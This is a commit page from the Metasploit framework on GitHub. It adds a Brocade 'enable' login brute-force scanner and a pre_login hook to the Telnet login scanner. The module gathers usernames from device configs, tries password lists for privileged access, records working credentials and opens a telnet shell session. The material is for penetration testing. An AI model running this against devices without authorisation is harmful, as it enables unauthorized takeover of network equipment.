Skip to content

Commit 5085749

Browse files
committed
Land rapid7#5307, Brocade login scanner resurrection
2 parents 71518ef + 8d3737d commit 5085749

File tree

3 files changed

+174
-2
lines changed

3 files changed

+174
-2
lines changed

lib/metasploit/framework/login_scanner/telnet.rb

Lines changed: 19 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,14 +1,15 @@
11
require 'metasploit/framework/telnet/client'
22
require 'metasploit/framework/login_scanner/base'
33
require 'metasploit/framework/login_scanner/rex_socket'
4+
45
module Metasploit
56
module Framework
67
module LoginScanner
7-
88
# This is the LoginScanner class for dealing with Telnet remote terminals.
99
# It is responsible for taking a single target, and a list of credentials
1010
# and attempting them. It then saves the results.
1111
class Telnet
12+
1213
include Metasploit::Framework::LoginScanner::Base
1314
include Metasploit::Framework::LoginScanner::RexSocket
1415
include Metasploit::Framework::Telnet::Client
@@ -25,12 +26,19 @@ class Telnet
2526
#
2627
# @return [Fixnum]
2728
attr_accessor :banner_timeout
29+
2830
# @!attribute verbosity
2931
# The timeout to wait for the response from a telnet command.
3032
#
3133
# @return [Fixnum]
3234
attr_accessor :telnet_timeout
3335

36+
# @!attribute verbosity
37+
# Prepend code to call before checking for a user login
38+
#
39+
# @return [Proc]
40+
attr_accessor :pre_login
41+
3442
validates :banner_timeout,
3543
presence: true,
3644
numericality: {
@@ -66,6 +74,10 @@ def attempt_login(credential)
6674
end
6775

6876
unless result_options[:status]
77+
if pre_login
78+
pre_login.call(self)
79+
end
80+
6981
unless password_prompt?
7082
send_user(credential.public)
7183
end
@@ -108,13 +120,19 @@ def set_sane_defaults
108120
self.port ||= DEFAULT_PORT
109121
self.banner_timeout ||= 25
110122
self.telnet_timeout ||= 10
123+
self.pre_login ||= nil
111124
self.connection_timeout ||= 30
112125
self.max_send_size ||= 0
113126
self.send_delay ||= 0
114127
# Shim to set up the ivars from the old Login mixin
115128
create_login_ivars
116129
end
117130

131+
def print_error(message)
132+
return unless @parent
133+
@parent.print_error(message)
134+
end
135+
118136
end
119137
end
120138
end

lib/msf/core/auxiliary/login.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -35,7 +35,7 @@ def create_login_ivars
3535
#
3636
# Some of these regexes borrowed from NeXpose, others added from datasets
3737
#
38-
@login_regex = /(?:log[io]n( name|)|user(name|id|))\s*\:/i
38+
@login_regex = /(?:log[io]n( name|)|user( ?name|id|))\s*\:/i
3939
@password_regex = /(?:password|passwd)\s*\:/i
4040
@false_failure_regex = /(?:(^\s*last)\ login *\:|allows only\ .*\ Telnet\ Client\ License)/i
4141
@failure_regex = /(?:
Lines changed: 154 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,154 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'rex'
8+
require 'metasploit/framework/credential_collection'
9+
require 'metasploit/framework/login_scanner/telnet'
10+
11+
class Metasploit4 < Msf::Auxiliary
12+
13+
include Msf::Exploit::Remote::Telnet
14+
include Msf::Auxiliary::Report
15+
include Msf::Auxiliary::AuthBrute
16+
include Msf::Auxiliary::Scanner
17+
include Msf::Auxiliary::CommandShell
18+
19+
def initialize
20+
super(
21+
'Name' => 'Brocade Enable Login Check Scanner',
22+
'Description' => %q{
23+
This module will test a range of Brocade network devices for a
24+
privileged logins and report successes. The device authentication mode
25+
must be set as 'aaa authentication enable default local'.
26+
Telnet authentication, e.g. 'enable telnet authentication', should not
27+
be enabled in the device configuration.
28+
29+
This module has been tested against the following devices:
30+
ICX6450-24 SWver 07.4.00bT311,
31+
FastIron WS 624 SWver 07.2.02fT7e1
32+
},
33+
'Author' => 'h00die <mike[at]shorebreaksecurity.com>',
34+
'References' =>
35+
[
36+
[ 'CVE', '1999-0502'] # Weak password
37+
],
38+
'License' => MSF_LICENSE
39+
)
40+
register_options(
41+
[
42+
OptBool.new('GET_USERNAMES_FROM_CONFIG', [ false, 'Pull usernames from config and running config', true])
43+
], self.class
44+
)
45+
@no_pass_prompt = []
46+
end
47+
48+
def get_username_from_config(un_list,ip)
49+
["config", "running-config"].each do |command|
50+
print_status(" Attempting username gathering from #{command} on #{ip}")
51+
sock.puts("\r\n") # ensure that the buffer is clear
52+
config = sock.recv(1024)
53+
sock.puts("show #{command}\r\n")
54+
55+
# pull the entire config
56+
while true do
57+
sock.puts(" \r\n") # paging
58+
config << sock.recv(1024)
59+
# Read until we are back at a prompt and have received the 'end' of
60+
# the config.
61+
break if config.match(/>$/) and config.match(/end/)
62+
end
63+
64+
config.each_line do |un|
65+
if un.match(/^username/)
66+
found_username = un.split(" ")[1].strip
67+
un_list.push(found_username)
68+
print_status(" Found: #{found_username}@#{ip}")
69+
end
70+
end
71+
end
72+
end
73+
74+
attr_accessor :no_pass_prompt
75+
attr_accessor :password_only
76+
77+
def run_host(ip)
78+
un_list = []
79+
if datastore['GET_USERNAMES_FROM_CONFIG']
80+
connect()
81+
get_username_from_config(un_list,ip)
82+
disconnect()
83+
end
84+
85+
if datastore['USERNAME'] #put the provided username on the array to try
86+
un_list.push(datastore['USERNAME'])
87+
end
88+
89+
un_list.delete('logout') #logout, even when used as a un or pass will exit the terminal
90+
91+
un_list.each do |un|
92+
cred_collection = Metasploit::Framework::CredentialCollection.new(
93+
blank_passwords: datastore['BLANK_PASSWORDS'],
94+
pass_file: datastore['PASS_FILE'],
95+
password: datastore['PASSWORD'],
96+
user_file: datastore['USER_FILE'],
97+
userpass_file: datastore['USERPASS_FILE'],
98+
username: un,
99+
user_as_pass: datastore['USER_AS_PASS'],
100+
)
101+
102+
cred_collection = prepend_db_passwords(cred_collection)
103+
104+
scanner = Metasploit::Framework::LoginScanner::Telnet.new(
105+
host: ip,
106+
port: rport,
107+
proxies: datastore['PROXIES'],
108+
cred_details: cred_collection,
109+
stop_on_success: datastore['STOP_ON_SUCCESS'],
110+
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
111+
connection_timeout: datastore['Timeout'],
112+
max_send_size: datastore['TCP::max_send_size'],
113+
send_delay: datastore['TCP::send_delay'],
114+
banner_timeout: datastore['TelnetBannerTimeout'],
115+
telnet_timeout: datastore['TelnetTimeout'],
116+
pre_login: lambda { |s| raw_send("enable\r\n", s.sock) },
117+
framework: framework,
118+
framework_module: self,
119+
)
120+
121+
scanner.scan! do |result|
122+
credential_data = result.to_h
123+
credential_data.merge!(
124+
module_fullname: self.fullname,
125+
workspace_id: myworkspace_id
126+
)
127+
128+
if result.success?
129+
credential_core = create_credential(credential_data)
130+
credential_data[:core] = credential_core
131+
create_credential_login(credential_data)
132+
print_good("#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}")
133+
start_telnet_session(ip,rport,result.credential.public,result.credential.private,scanner)
134+
else
135+
invalidate_login(credential_data)
136+
print_error("#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})")
137+
end
138+
end
139+
end
140+
end
141+
142+
def start_telnet_session(host, port, user, pass, scanner)
143+
print_status("Attempting to start session #{host}:#{port} with #{user}:#{pass}")
144+
merge_me = {
145+
'USERPASS_FILE' => nil,
146+
'USER_FILE' => nil,
147+
'PASS_FILE' => nil,
148+
'USERNAME' => user,
149+
'PASSWORD' => pass
150+
}
151+
152+
start_session(self, "TELNET #{user}:#{pass} (#{host}:#{port})", merge_me, true, scanner.sock)
153+
end
154+
end

0 commit comments

Comments
 (0)